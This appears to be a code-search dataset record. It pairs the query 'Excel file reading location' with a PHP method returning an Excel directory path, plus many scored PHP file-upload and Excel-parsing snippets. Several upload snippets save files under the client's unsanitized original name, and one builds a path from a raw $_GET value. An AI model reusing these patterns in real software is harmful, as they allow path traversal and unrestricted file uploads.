to\n\n\n\t\t\t\tif(!file_exists($this->getUploadRootDir())) mkdir($this->getUploadRootDir(), 0777, true);\n $this->getFile()->move(\n $this->getUploadRootDir(),\n $filename\n );\n\n // set the path property to the filename where you've saved the file\n $this->path = $filename;\n\n // clean up the file property as you won't need it anymore\n $this->file = null;\n }", "protected function getUploadDir()\n {\n // when displaying uploaded doc/image in the view.\n return 'images/about_us';\n }", "public function upload()\n {\n if (null === $this->file) {\n return;\n }\n\n // si on avait un ancien fichier on le supprime\n if (null !== $this->tempFilename) {\n $oldFile = $this->getUploadRootDir().'/'.$this->id.'.'.$this->tempFilename;\n if (file_exists($oldFile)) {\n unlink($oldFile);\n }\n }\n\n // déplace le fichier envoyé dans le répertoire de notre choix\n $this->file->move(\n $this->getUploadRootDir(), // répertoire de destination\n $this->id.'.'.$this->url // nom du fichier à créer \"id.extension\"\n );\n\n }", "protected function getUploadDir()\n {\n \t// when displaying uploaded doc/image in the view.\n \treturn 'uploads/imagen';\n }", "function getUploadDirectory() {\r\n return $this->directory;\r\n }", "protected function getUploadDir()\r\n {\r\n // when displaying uploaded doc/image in the view.\r\n return 'uploads/images';\r\n }", "public function getUploadDir() {\n \treturn 'uploads/img';\n }", "private function getUploadRootDir(){\n \treturn __DIR__.'/../../../../web/'.$this->getUploadDir();\n }", "public function upload()\n\t{\n\t if (null === $this->getFile()) {\n\t return;\n\t }\n\t\n\t // use the original file name here but you should\n\t // sanitize it at least to avoid any security issues\n\t\n\t // move takes the target directory and then the\n\t // target filename to move to\n\t \n\t $this->getFile()->move($this->getWebPath(),$this->imagen);\n\t \n\t \n\t // set the path property to the filename where you've saved the file\n\t $this->path = $this->getFile()->getClientOriginalName();\n\t\t//$this->temp = \n\t // clean up the file property as you won't need it anymore\n\t $this->file = null;\n\t}", "public function upload()\n {\n if (null === $this->getFile()) {\n return;\n }\n\n // use the original file name here but you should\n // sanitize it at least to avoid any security issues\n $partes_ruta = pathinfo($this->getFile()->getClientOriginalName());\n $this->nombre = md5(uniqid()) . '.' . $partes_ruta['extension'];\n\n // move takes the target directory and then the\n // target filename to move to\n $this->getFile()->move(\n $this->getUploadRootDir(),\n $this->nombre\n );\n\n $this->url = $this->getWebPath();\n\n // clean up the file property as you won't need it anymore\n $this->file = null;\n }", "protected function generateFullPathToUploadFile()\n {\n // $this->fullPathToUploadFile = str_replace(\"/\", \"\\\\\", storage_path('app/' . $this->pathToFile));\n $this->fullPathToUploadFile = storage_path('app/' . $this->pathToFile);\n }", "public function actionUpload()\n {\n if (isset($_GET['department_id_from_url'])) {\n $filename = $_FILES['file']['name'];\n /* Location */\n $location = \"C:/OpenServer/domains/localhost/application/photo/\".$_GET['department_id_from_url'].\"/\" . $filename;\n $uploadOk = 1;\n $imageFileType = pathinfo($location, PATHINFO_EXTENSION);\n /* Valid Extensions */\n $valid_extensions = array(\"jpg\", \"jpeg\", \"png\");\n /* Check file extension */\n if (!in_array(strtolower($imageFileType), $valid_extensions)) {\n $uploadOk = 0;\n echo 0;\n }\n if ($uploadOk == 0) {\n echo 0;\n } else {\n /* Upload file */\n if (move_uploaded_file($_FILES['file']['tmp_name'], $location)) {\n echo $filename;\n } else {\n echo 0;\n }\n }\n }\n }", "function wp_import_handle_upload()\n {\n }", "public function upload()\n {\n set_time_limit(0);\n //Clear error messages\n Registry::getMessages();\n //Config\n $config = Registry::getConfig();\n //Upload Handler\n new UploadHandler(\n array(\n 'upload_dir' => $config->get(\"path\").\"/files/videos/\",\n 'upload_url' => Url::site(\"files/videos\").\"/\",\n \"maxNumberOfFiles\" => 1,\n \"accept_file_types\" => \"/\\.(mp4|mpg|flv|mpeg|avi)$/i\",\n )\n );\n }", "function form_file_upload_handle($file_data, $field_config, $table_name = null) {\n $file_max_size = $field_config['file-max-size'] + 0;\n $file_type = $field_config['file-type'];\n if (strstr($file_data['type'], $file_type) === FALSE) {\n return \"The file type is {$file_data['type']} not {$file_type}\";\n }\n if ($file_data['size'] > $file_max_size) {\n return \"Size is bigger than \" . $file_max_size / 1024 . \"k\";\n }\n /**\n * ALL ok? then place the file and let it go... let it goooo! (my daughter Allison fault! <3 )\n */\n if (file_uploads::place_upload_file($file_data['tmp_name'], $file_data['name'], $table_name)) {\n return TRUE;\n } else {\n return file_uploads::get_last_error();\n }\n// $file_location = file_uploads::get_uploaded_file_path($file_data['name']);\n// $file_location_url = file_uploads::get_uploaded_file_url($file_data['name']);\n}", "public function checkUpload() {}", "protected function getUploadDir()\n {\n // when displaying uploaded doc/image in the view.\n return 'uploads/lots';\n }", "public function getFilesPath() {\n\t\treturn $this->uploadPath;\n\t}", "protected function getUploadDir()\n {\n // when displaying uploaded doc/image in the view.\n return 'uploads/products';\n }", "public function upload()\n {\n if (null === $this->getFile()) {\n return;\n }\n\n // use the original file name here but you should\n // sanitize it at least to avoid any security issues\n\n // move takes the target directory and then the\n // target filename to move to\n \n\n $this->getFile()->move(\n $this->getUploadRootDir(),\n $this->getFile()->getClientOriginalName()\n );\n\n // set the path property to the filename where you've saved the file\n $this->path = $this->getFile()->getClientOriginalName();\n\n // clean up the file property as you won't need it anymore\n $this->file = null;\n }", "public function uploadAction()\n {\n // default file URI\n $defaultUri = $this->_config->urlBase . 'files/';\n\n // store for sparql queries\n $store = $this->_owApp->erfurt->getStore();\n\n // DMS NS var\n $dmsNs = $this->_privateConfig->DMS_NS;\n\n // check if DMS needs to be imported\n if ($store->isModelAvailable($dmsNs) && $this->_privateConfig->import_DMS) {\n $this->_checkDMS();\n }\n\n $url = new OntoWiki_Url(\n array('controller' => 'files', 'action' => 'upload'),\n array()\n );\n\n // check for POST'ed data\n if ($this->_request->isPost()) {\n $event = new Erfurt_Event('onFilesExtensionUploadFile');\n $event->request = $this->_request;\n $event->defaultUri = $defaultUri;\n // process upload in plugin\n $eventResult = $event->trigger();\n if ($eventResult === true) {\n if (isset($this->_request->setResource)) {\n $this->_owApp->appendMessage(\n new OntoWiki_Message('File attachment added', OntoWiki_Message::SUCCESS)\n );\n $resourceUri = new OntoWiki_Url(array('route' => 'properties'), array('r'));\n $resourceUri->setParam('r', $this->_request->setResource, true);\n $this->_redirect((string)$resourceUri);\n } else {\n $url->action = 'manage';\n $this->_redirect((string)$url);\n }\n }\n }\n\n $this->view->placeholder('main.window.title')->set($this->_owApp->translate->_('Upload File'));\n OntoWiki::getInstance()->getNavigation()->disableNavigation();\n\n $toolbar = $this->_owApp->toolbar;\n $url->action = 'manage';\n $toolbar->appendButton(\n OntoWiki_Toolbar::SUBMIT, array('name' => 'Upload File')\n );\n $toolbar->appendButton(\n OntoWiki_Toolbar::EDIT, array('name' => 'File Manager', 'class' => '', 'url' => (string)$url)\n );\n\n $this->view->defaultUri = $defaultUri;\n $this->view->placeholder('main.window.toolbar')->set($toolbar);\n\n $url->action = 'upload';\n $this->view->formActionUrl = (string)$url;\n $this->view->formMethod = 'post';\n $this->view->formClass = 'simple-input input-justify-left';\n $this->view->formName = 'fileupload';\n $this->view->formEncoding = 'multipart/form-data';\n if (isset($this->_request->setResource)) {\n // forward URI to form so we can redirect later\n $this->view->setResource = $this->_request->setResource;\n }\n\n if (!is_writable($this->_privateConfig->path)) {\n $this->_owApp->appendMessage(\n new OntoWiki_Message('Uploads folder is not writable.', OntoWiki_Message::WARNING)\n );\n return;\n }\n\n // FIX: http://www.webmasterworld.com/macintosh_webmaster/3300569.htm\n header('Connection: close');\n }", "public function upload()\n {\n if (null === $this->getFile()) {\n return;\n }\n// use the original file name here but you should\n// sanitize it at least to avoid any security issues\n// move takes the target directory and then the\n// target filename to move to\n $this->getFile()->move(\n $this->getUploadRootDir(),\n $this->getFile()->getClientOriginalName()\n );\n// set the path property to the filename where you've saved the file\n $this->logo = $this->getFile()->getClientOriginalName();\n// clean up the file property as you won't need it anymore\n $this->file = null;\n\n\n }", "public function upload()\n {\n if (null === $this->getFile()) {\n return;\n }\n\n // use the original file name here but you should\n // sanitize it at least to avoid any security issues\n\n // move takes the target directory and then the\n // target filename to move to\n\n $filePath = md5(uniqid($this->getIdUser().\"_profil\",true)).\".\".\n $this->getFile()->guessClientExtension();\n\n $this->getFile()->move(\n $this->getUploadRootDir(),$filePath\n );\n\n // set the path property to the filename where you've saved the file\n $this->path = $filePath;\n\n // clean up the file property as you won't need it anymore\n $this->file = null;\n }", "public function upload() {\n // the file property can be empty if the field is not required\n if (null === $this->getFile()) {\n return;\n }\n\n // we use the original file name here but you should\n // sanitize it at least to avoid any security issues\n\n // move takes the target directory and target filename as params\n $this->getFile()->move(\n self::SERVER_PATH_TO_IMAGE_FOLDER,\n $this->getFile()->getClientOriginalName()\n );\n\n // set the path property to the filename where you've saved the file\n $this->filename = $this->getFile()->getClientOriginalName();\n\n // clean up the file property as you won't need it anymore\n $this->setFile(null);\n }", "public function getUploadDir()\n {\n // when displaying uploaded doc/image in the view.\n return 'uploads';\n }", "public function getUploadDir()\n {\n // when displaying uploaded doc/image in the view.\n return 'uploads';\n }", "public function upload()\n {\n if (null === $this->getFile()) {\n return;\n }\n\n // use the original file name here but you should\n // sanitize it at least to avoid any security issues\n\n // move takes the target directory and then the\n // target filename to move to\n $this->getFile()->move(\n $this->getUploadRootDir(),\n $this->getFile()->getClientOriginalName()\n );\n\n // set the path property to the filename where you've saved the file\n $this->path = '/'.$this->getUploadDir().'/'.$this->getFile()->getClientOriginalName();\n //get the file name\n// $file = $this->getFile()->getClientOriginalName();\n// $info = pathinfo($file);\n// $file_name = basename($file,'.'.$info['extension']);\n// $this->name = $file_name ;\n// $this->setName($file_name);\n// // clean up the file property as you won't need it anymore\n// $this->file = null;\n }", "protected function getUploadDir()\n {\n // when displaying uploaded doc/image in the view.\n return 'uploads/user';\n }", "protected function getUploadDir()\n {\n // when displaying uploaded doc/image in the view.\n return 'uploads';\n }", "public function upload()\n {\n if (null === $this->getFile()) {\n return;\n }\n\n // use the original file name here but you should\n // sanitize it at least to avoid any security issues\n\n // move takes the target directory and then the\n // target filename to move to\n $this->getFile()->move(\n $this->getUploadRootDir(),\n $this->getFile()->getClientOriginalName()\n );\n\n // set the path property to the filename where you've saved the file\n $this->path = $this->getFile()->getClientOriginalName();\n\n // clean up the file property as you won't need it anymore\n $this->file = null;\n }", "public function upload()\n {\n if (null === $this->getFile()) {\n return;\n }\n\n // use the original file name here but you should\n // sanitize it at least to avoid any security issues\n\n // move takes the target directory and then the\n // target filename to move to\n $this->getFile()->move(\n $this->getUploadRootDir(),\n $this->getFile()->getClientOriginalName()\n );\n\n // set the path property to the filename where you've saved the file\n $this->path = $this->getFile()->getClientOriginalName();\n\n // clean up the file property as you won't need it anymore\n $this->file = null;\n }", "public function upload()\n {\n if (null === $this->getFile()) {\n return;\n }\n\n // use the original file name here but you should\n // sanitize it at least to avoid any security issues\n\n // move takes the target directory and then the\n // target filename to move to\n $this->getFile()->move(\n $this->getUploadRootDir(),\n $this->getFile()->getClientOriginalName()\n );\n\n // set the path property to the filename where you've saved the file\n $this->path = $this->getFile()->getClientOriginalName();\n\n // clean up the file property as you won't need it anymore\n $this->file = null;\n }", "public function upload()\n {\n if (null === $this->getFile()) {\n return;\n }\n\n // use the original file name here but you should\n // sanitize it at least to avoid any security issues\n\n // move takes the target directory and then the\n // target filename to move to\n $this->getFile()->move(\n $this->getUploadRootDir(),\n $this->getFile()->getClientOriginalName()\n );\n\n // set the path property to the filename where you've saved the file\n $this->path = $this->getFile()->getClientOriginalName();\n\n // clean up the file property as you won't need it anymore\n $this->file = null;\n }", "protected function getUploadDir() {\n // when displaying uploaded doc/image in the view.\n return 'uploads';\n }", "protected function getUploadDir()\n {\n // when displaying uploaded doc/image in the view.\n return 'uploads/documents';\n }", "protected function getUploadDir()\n {\n // when displaying uploaded doc/image in the view.\n return 'uploads/documents';\n }", "protected function getUploadDir()\n {\n // when displaying uploaded doc/image in the view.\n return 'uploads/documents';\n }", "protected function getUploadDir()\n {\n // when displaying uploaded doc/image in the view.\n return 'uploads/documents';\n }", "protected function getUploadDir()\n {\n // when displaying uploaded doc/image in the view.\n return 'uploads/documents';\n }", "protected function getUploadDir()\n {\n // when displaying uploaded doc/image in the view.\n return 'uploads/documents';\n }", "protected function getUploadDir()\n {\n // when displaying uploaded doc/image in the view.\n return 'uploads/documents';\n }", "protected function getUploadDir()\n {\n // when displaying uploaded doc/image in the view.\n return 'uploads/documents';\n }", "protected function getUploadDir()\n {\n return 'uploads/images';\n }", "protected function getUploadDir()\n {\n // when displaying uploaded doc/image in the view.\n return 'uploads/tracks';\n }", "public function getUploadedPath()\n {\n return $this->uploadedPath;\n }", "protected function getUploadRootDir()\n {\n// documents should be saved\n return __DIR__.'/../../../../web/'.$this->getUploadDir();\n }", "public function get_uploadBasePath()\n {\n return $this->_uploadBasePath;\n }", "public function get_test_file_uploads()\n {\n }", "public function getUploadDir()\n {\n // when displaying uploaded doc/image in the view.\n return 'web/images';\n }", "public function upload()\n {\n // the file property can be empty if the field is not required\n if (null === $this->getFile()) {\n return;\n }\n $filename = time().'_'.$this->getFile()->getClientOriginalName();\n\n // we use the original file name here but you should\n // sanitize it at least to avoid any security issues\n\n // move takes the target directory and target filename as params\n $this->getFile()->move(\n self::$SERVER_PATH_TO_VIDEO_FOLDER,\n $filename\n );\n\n // set the path property to the filename where you've saved the file\n $this->filename = $filename;\n\n // clean up the file property as you won't need it anymore\n $this->setFile(null);\n }", "public function content_for_upload();", "public function getUploadDir(){\n return \"uploads/img/parties\" ;\n }", "protected function getUploadDir(): string\n {\n return 'uploads/img';\n }", "public function getUploadDir()\n {\n return 'uploads/images';\n }", "protected function getUploadDir()\n {\n // when displaying uploaded doc/image in the view.\n return static::UPLOAD_DIRECTORY;\n }", "static public function configureFileField() {}", "public function getUploadedFile(){\n\t\t\t$pic = isset($this->EMP_IMG) ? $this->EMP_IMG : 'default.jpg';\n\t\t\treturn Yii::$app->params['HRD_EMP_UploadUrl'].$pic;\n\t\t}", "public function upload()\n {\n // the file property can be empty if the field is not required\n if (null === $this->avatar)\n {\n return;\n }\n\n //Lastname du fichier\n $file = $this->id_user.'.'.$this->avatar->guessExtension();\n // move takes the target directory and then the target filename to move to\n $this->avatar->move($this->getUploadRootDir(), $file);\n //Suppression des thumbnail déjà en cache\n @unlink(__DIR__.'/../../../../../web/imagine/thumbnail/avatars/'.$file);\n @unlink(__DIR__.'/../../../../../web/imagine/avatar_thumbnail/avatars/'.$file);\n @unlink(__DIR__.'/../../../../../web/imagine/moyen_thumbnail/avatars/'.$file);\n @unlink(__DIR__.'/../../../../../web/imagine/mini_thumbnail/avatars/'.$file);\n\n // set the path property to the filename where you'ved saved the file\n $this->avatar = $file;\n }", "protected function getUploadDir()\n {\n // when displaying uploaded doc/image in the view.\n return 'uploads/images/agancy';\n }" ]
[ "0.7748721", "0.74383855", "0.73623973", "0.72826266", "0.72408336", "0.709651", "0.70347834", "0.69973594", "0.6997068", "0.698515", "0.6983981", "0.69368136", "0.6931565", "0.689292", "0.68304384", "0.682501", "0.6794937", "0.67872375", "0.677966", "0.67751503", "0.6772733", "0.6767712", "0.67649907", "0.67531365", "0.6745263", "0.67384505", "0.6706166", "0.67011595", "0.6698558", "0.66846913", "0.6680596", "0.666069", "0.66525507", "0.66495514", "0.6648824", "0.6647368", "0.6645809", "0.6641933", "0.66288835", "0.66246885", "0.6624173", "0.661618", "0.6614495", "0.6606767", "0.65951186", "0.6591156", "0.6582499", "0.6576163", "0.65581954", "0.6552021", "0.6550369", "0.6541564", "0.65385604", "0.6537109", "0.6532144", "0.6527759", "0.6527273", "0.65260434", "0.65259546", "0.6522962", "0.6522855", "0.6521615", "0.65153575", "0.6513495", "0.6512762", "0.65106297", "0.65106297", "0.65082395", "0.65067434", "0.6505938", "0.6504237", "0.6504237", "0.6504237", "0.6504237", "0.6499178", "0.648986", "0.648986", "0.648986", "0.648986", "0.648986", "0.648986", "0.648986", "0.648986", "0.64892066", "0.6488746", "0.6488107", "0.64785486", "0.6473859", "0.64734554", "0.6468436", "0.6465418", "0.64634925", "0.64610344", "0.6457349", "0.64561987", "0.6453037", "0.6448756", "0.64425296", "0.6437687", "0.6436838" ]
0.6712146
26
Excel file reading location
public static function wdtFileReadingLocation() { return '/app/public/excels/wdt/'; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public static function fileReadingLocation()\n {\n return '/app/public/excels/';\n }", "public function importExcel($path);", "public function getFile() {\n // Import a user provided file\n\n $file = Input::file('spreadsheet');\n\n $filename = time() . '_' . $file->getClientOriginalName();\n\n $file = $file->move('uploads/csv/', $filename);\n\n // Return it's location\n return $file->getPathname();\n }", "function ReadExcelSheet($filename) {\n \n// if($fileExtension==='xls'){\n try{\n $excel = new PhpExcelReader; // creates object instance of the class\n $excel->read($filename); \n $excel_data = ''; // to store the the html tables with data of each sheet \n $excel_data .= '<h4> ' . ('') . ' <em>' . '' . '</em></h4>' . $this->AddDatatoDB($excel->sheets[0],$filename) . '<br/>';\n }\n catch(Exception $e ){\n print_r('Exception:::'.$e->getMessage());\n }\n// }\n// else {\n// //\"The file with extension \".$fileExtension.\" is still not allowed at the moment.\");\n// }\n }", "private function getFileActiveSheet() {\n\t\t$file = $this->spreadsheetImport->getFile()->createTemporaryLocalCopy();\n\t\t$reader = \\PHPExcel_IOFactory::load($file);\n\t\t$sheet = $reader->getActiveSheet();\n\t\treturn $sheet;\n\t}", "public function getFilePath() {\n\t\t$path = SPREADSHEET_FILES_DIR . \"/\" . $this->file_name;\n\t\tif (file_exists($path)) {\n\t\t\treturn $path;\n\t\t}\n\t}", "public function read_data_from()\n {\n $post = json_decode( file_get_contents('php://input') );\n $this->load->helper('xlsx');\n $sheets = readXlsx(FCPATH.$post->path,NULL);\n $i=0;\n foreach ($sheets as $key => $sheet) {\n $i++;\n $j=0;\n foreach ($sheet->getRowIterator() as $row) {\n $this->setRowSabana( $row );\n $j++;\n if($j > 100000)\n break;\n }\n }\n }", "private function readExcel($fileName){\n\t\t$inputFileType = PHPExcel_IOFactory::identify($fileName);\n\t\t/** Create a new Reader of the type that has been identified **/\n\t\t$reader = PHPExcel_IOFactory::createReader($inputFileType);\n\t\t$reader->setReadDataOnly(true);\n\t\t$objExcel = $reader->load($fileName);\n\t\treturn $objExcel;\n\t}", "private function getActiveSheet() {\n\t\treturn $this->workbook->getActiveSheet();\n\t}", "public function getExcelFile()\n {\n if( $this->use_excel_personer ) {\n return $this->getExcelFilePersoner();\n }\n \n $excel = new Excel(\n $this->getNavn() . ' oppdatert ' . date('d-m-Y') . ' kl '. date('Hi') . ' - ' . $this->getArrangement()->getNavn(),\n $this->getRenderDataInnslag(),\n $this->getConfig()\n );\n return $excel->writeToFile();\n }", "function importExecl($inputFileName) {\n if (!file_exists($inputFileName)) {\n echo \"error\";\n return array(\"error\" => 0, 'message' => 'file not found!');\n }\n //vendor(\"PHPExcel.PHPExcel.IOFactory\",'','.php'); \n vendor(\"PhpExcel.PHPExcel\", '', '.php');\n vendor(\"PhpExcel.PHPExcel.IOFactory\", '', '.php');\n //'Loading file ', pathinfo( $inputFileName, PATHINFO_BASENAME ),' using IOFactory with a defined reader type of ',$inputFileType,'<br />';\n $fileType = \\PHPExcel_IOFactory::identify($inputFileName); //文件名自动判断文件类型\n $objReader = \\PHPExcel_IOFactory::createReader($fileType);\n // $objReader = \\PHPExcel_IOFactory::createReader('Excel5');\n $objPHPExcel = $objReader->load($inputFileName);\n $sheet = $objPHPExcel->getSheet(0);\n $highestRow = $sheet->getHighestRow(); //取得总行数\n $highestColumn = $sheet->getHighestColumn(); //取得总列\n $highestColumnIndex = \\PHPExcel_Cell::columnIndexFromString($highestColumn); //总列数\n for ($row = 2; $row <= $highestRow; $row++) {\n $strs = array();\n //注意highestColumnIndex的列数索引从0开始\n for ($col = A; $col <= $highestColumn; $col++) {\n $strs[$col] = $sheet->getCell($col . $row)->getValue();\n }\n $arr[] = $strs;\n }\n return $arr;\n}", "function read_data($file) {\t\t\n\t\t $this->loadFile($file);\n\t\t return $this->extract_data($this->objPHPExcel->getActiveSheet());\n }", "public function ExcelFile($file_path)\n {\n $inputFileType = PHPExcel_IOFactory::identify($file_path);\n /* Create a new Reader of the type defined in $inputFileType */\n $objReader = PHPExcel_IOFactory::createReader($inputFileType);\n $objPHPExcel = $objReader->load($file_path);\n $cell_collection = $objPHPExcel->getActiveSheet()->getCellCollection();\n //extract to a PHP readable array format\n foreach ($cell_collection as $cell) {\n $column = $objPHPExcel->getActiveSheet()->getCell($cell)->getColumn();\n $row = $objPHPExcel->getActiveSheet()->getCell($cell)->getRow();\n $data_value = $objPHPExcel->getActiveSheet()->getCell($cell)->getValue();\n //header will/should be in row 1 only. of course this can be modified to suit your need.\n if ($row == 1) {\n $header[$row][$column] = $data_value;\n } else {\n $arr_data[$row][$column] = $data_value;\n }\n }\n //send the data in an array format\n $data['header'] = $header;\n $data['values'] = $arr_data;\n return $arr_data;\n }", "public function readExcel($file){\n\t$objPHPExcel = PHPExcel_IOFactory::load($file);\n $cell_collection = $objPHPExcel->getActiveSheet()->getCellCollection();\n foreach ($cell_collection as $cell) {\n $column = $objPHPExcel->getActiveSheet()->getCell($cell)->getColumn();\n //$colNumber = PHPExcel_Cell::columnIndexFromString($colString);\n $row = $objPHPExcel->getActiveSheet()->getCell($cell)->getRow();\n $data_value = $objPHPExcel->getActiveSheet()->getCell($cell)->getValue();\n $arr_data[$row][$this->toNumber($column)-1] = $data_value;\n \t}\n\n return ($arr_data);\n }", "private static function filePath($num) {\n $tmpDir = ini_get('upload_tmp_dir') ?: sys_get_temp_dir();\n return Util::joinPath([$tmpDir, \"new_tz_\".date(\"y\").\"_\".$num.\".xls\"]);\n }", "private function getRawData() {\n $phpExcelPath = Yii::getPathOfAlias('ext.phpexcel.Classes');\n // Turn off YII library autoload\n spl_autoload_unregister(array('YiiBase','autoload'));\n \n // PHPExcel_IOFactory\n require_once $phpExcelPath.'/PHPExcel/IOFactory.php';\n \n $objPHPExcel = PHPExcel_IOFactory::load($this->fileName);\n $ws = $objPHPExcel->getSheet(0); // process only FIRST sheet\n \n $emptyRows = 0;\n $row = 1;\n $result = array();\n while ($emptyRows < 5) { // 5 empty rows denote end of file\n $empty = TRUE;\n $content = array();\n foreach (range('A', 'Z') as $col) {\n $value = $this->getCellValue($ws, \"$col$row\");\n if (!empty($value)) {\n $empty = FALSE;\n }\n $content[] = $value;\n }\n if ($empty) {\n $emptyRows ++;\n }\n else {\n $emptyRows = 0;\n $result[] = $content; \n }\n $row++;\n }\n \n // Once we have finished using the library, give back the\n // power to Yii...\n spl_autoload_register(array('YiiBase','autoload'));\n \n return $result;\n }", "abstract protected function excel ();", "public function read($pathName)\n {\n $this->filename = basename($pathName);\n $this->getTypeByExtension();\n if (!$this->isExcel2007Export()) {\n throw new \\PHPExcel_Exception('Extension file is not supported.');\n }\n // Création du Reader\n $objReader = new \\PHPExcel_Reader_Excel2007();\n // Chargement du fichier Excel\n $this->phpExcelObject = $objReader->load($pathName);\n }", "public function readFile()\r\n {\r\n\r\n $fileName_FaceBook = Request::all();\r\n\r\n //dd($fileName_FaceBook['From']);\r\n //dd($fileName_FaceBook);\r\n\r\n $dateStart = Carbon::parse($fileName_FaceBook['dateStartFrom']);\r\n $dateEnd = Carbon::parse($fileName_FaceBook['dateEndsTo']);\r\n\r\n dump($dateStart);\r\n dump($dateEnd);\r\n\r\n // The object returned by the file method is an instance of the Symfony\\Component\\HttpFoundation\\File\\UploadedFile\r\n\r\n $path = $fileName_FaceBook['fileName_FaceBook']->getRealPath();\r\n $name =$fileName_FaceBook['fileName_FaceBook']->getClientOriginalName();\r\n //dump($fileName_FaceBook['fileName_FaceBook']->getClientOriginalName());\r\n\r\n $this->readMetricsFromCSV($path, $dateStart, $dateEnd);\r\n\r\n\r\n }", "function rawpheno_open_file($file) {\n // Grab the path and extension from the file.\n $xls_file = drupal_realpath($file->uri);\n $xls_extension = pathinfo($file->filename, PATHINFO_EXTENSION);\n\n // Validate that the spreadsheet is either xlsx or xls and open the spreadsheet using\n // the correct class.\n // XLSX:\n if ($xls_extension == 'xlsx') {\n $xls_obj = new SpreadsheetReader_XLSX($xls_file);\n }\n // XLS:\n elseif ($xls_extension == 'xls') {\n // PLS INCLUDE THIS FILE ONLY FOR XLS TYPE.\n $xls_lib = libraries_load('spreadsheet_reader');\n $lib_path = $xls_lib['path'];\n\n include_once $lib_path . 'SpreadsheetReader_XLS.php';\n $xls_obj = new SpreadsheetReader_XLS($xls_file);\n }\n\n return $xls_obj;\n}", "public function getFilePath();", "public function getFilePath();", "public function getFilePath();", "public function getFilePath();", "public function getSheet()\n {\n return $this->sheet;\n }", "public function getFileLocation()\n {\n return $this->fileLocation;\n }", "public function importxls()\n\t{\n\t\tif( $this->import_start() )\n\t\t{\n\t\t\t$xls\t\t= $this->file['tmp_name'];\n\t\t\t$objPHPExcel\t= PHPExcel_IOFactory::load($xls);\n\t\t\t$sht\t\t= $objPHPExcel->getActiveSheet();\n\n\t\t\t$highestColumm\t= $sht->getHighestDataColumn();\n\t\t\t$highestRow\t= $sht->getHighestDataRow();\n\t\t\t$range\t\t= \"A1:\".$highestColumm.$highestRow;\n\n\t\t\t$rows\t\t= $sht->rangeToArray($range);\n\t\t\t$model\t\t= $this->getModel('HelloImport');\t\t//for db read/write\n\t\t\t$this->ok\t= $model->importItems($rows);\n\t\t}\n\t\t$this->import_finish();\n\t\treturn;\n\t}", "public function getExcelFilePersoner()\n {\n $excel = new ExcelPersoner(\n $this->getNavn() . ' oppdatert ' . date('d-m-Y') . ' kl '. date('Hi') . ' - ' . $this->getArrangement()->getNavn(),\n $this->getRenderDataPersoner(),\n $this->getConfig()\n );\n return $excel->writeToFile();\n }", "function preview_file(){\n\t\t\n\t\t/** Set default timezone (will throw a notice otherwise) */\n\t\tdate_default_timezone_set('Asia/Bangkok');\n\t\t/** PHPExcel */\n\t\tinclude (\"plugins/PHPExcel/Classes/PHPExcel.php\");\n\t\t/** PHPExcel_IOFactory - Reader */\n\t\tinclude (\"plugins/PHPExcel/Classes/PHPExcel/IOFactory.php\");\n\t\t\t\n\n\t\tif(isset($_FILES['uploadfile']['name'])){\n\t\t\t$file_name = $_FILES['uploadfile']['name'];\n\t\t\t$ext = pathinfo($file_name, PATHINFO_EXTENSION);\n\t\t\t\n\t\t\t//echo \": \".$file_name; //die;\n\t\t\t//Checking the file extension (ext)\n\t\t\tif($ext == \"xlsx\" || $ext == \"xls\"){\n\t\t\t\t$Path = 'uploads/payment';\t\n\t\t\t\t$filename =$Path.'/'.$file_name;\n\t\t\t\tcopy($_FILES['uploadfile']['tmp_name'],$filename);\t\n\t\t\t\t\n\t\t\t\t$inputFileName = $filename;\n\t\t\t\t//echo $inputFileName;\n\t\t\t\t\n\t\t\t/**********************PHPExcel Script to Read Excel File**********************/\n\t\t\t\t// Read your Excel workbook\n\t\t\t\ttry {\n\t\t\t\t\t//echo \"try\".$inputFileName;\n\t\t\t\t\t$inputFileType = PHPExcel_IOFactory::identify($inputFileName); //Identify the file\n\t\t\t\t\t$objReader = PHPExcel_IOFactory::createReader($inputFileType); \n\t\t\t\t\t$objReader->setReadDataOnly(true);\n\t\t\t\t\t//Creating the reader\n\t\t\t\t\t$objPHPExcel = $objReader->load($inputFileName); //Loading the file\n\t\t\t\t\t//echo \"จบ try นะ\";\n\t\t\t\t\t\n\t\t\t\t} catch (Exception $e) {\n\t\t\t\t\techo \"<pre>\";\n\t\t\t\t\tprint_r($e);\n\t\t\t\t\techo \"</pre>\";\n\t\t\t\t\tdie('Error loading file \"' . pathinfo($inputFileName, PATHINFO_BASENAME) \n\t\t\t\t\t. '\": ' . $e->getMessage());\n\t\t\t\t}\n\n\t\t\t\t//ข้อมูลนำเข้า\n\t\t\t\t$this->data[\"im_exam\"] = $this->input->post(\"im_exam\");\t \t\t//ประเภทการสอบ\n\t\t\t\t$this->data[\"im_edu_bgy\"] = $this->input->post(\"im_edu_bgy\");\t \t//ปีการศึกษา\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t/* start ROW && COLUMN */\n\t\t\t\t$sheet_active = 0;\n\t\t\t\t$start_row = 2;\n\t\t\t\t$start_col = 'A';\t\n\t\t\t\t\n\t\t\t\t// Get worksheet dimensions\n\t\t\t\t$sheet = $objPHPExcel->getSheet($sheet_active); //Selecting sheet 0\t\t\t\t\n\t\t\t\t$highestRow = $sheet->getHighestRow(); \t\t//Getting number of rows\n\t\t\t\t$highestColumn = $sheet->getHighestColumn(); //Getting number of columns\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t$arr_data = array(); // per project 1 row\n\t\t\t\t\n\t\t\t\tfor ($row = $start_row; $row <= $highestRow; $row++) {\t\t\n\t\t\t\t\t//******** column A-H :: expend project *********//\n\t\t\t\t\t$column_key = $sheet->rangeToArray($start_col.$row.\":\".$highestColumn.$row, NULL, TRUE, FALSE);\n\t\t\t\t\t\n\t\t\t\t\tif(!empty($column_key)){\n\t\t\t\t\tforeach($column_key as $row_col){\n\t\t\t\t\t\t/***************** start expend **********************/\n\t\t\t\t\t\tif(!empty($row_col)){\n\t\t\t\t\t\t\t$pay_status\t\t= 2; \t//สถานะการชำระเงิน\n\t\t\t\t\t\t\t$pay_bill_no\t= \"\";\t//ref billNo\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t$pay_date \t\t= \"0000-00-00\";\t\n\t\t\t\t\t\t\t$pay_amount\t\t= 0.00; //จำนวนเงินที่ชำระ\n\t\t\t\t\t\t\t$pay_receiver = \"\"; \t//ผู้รับชำระเงิน\n\t\t\t\t\t\t\t$pay_creator \t= \"\"; //ผู้บันทึก ต้องมาจาก login\n\t\t\t\t\t\tforeach($row_col as $key_col => 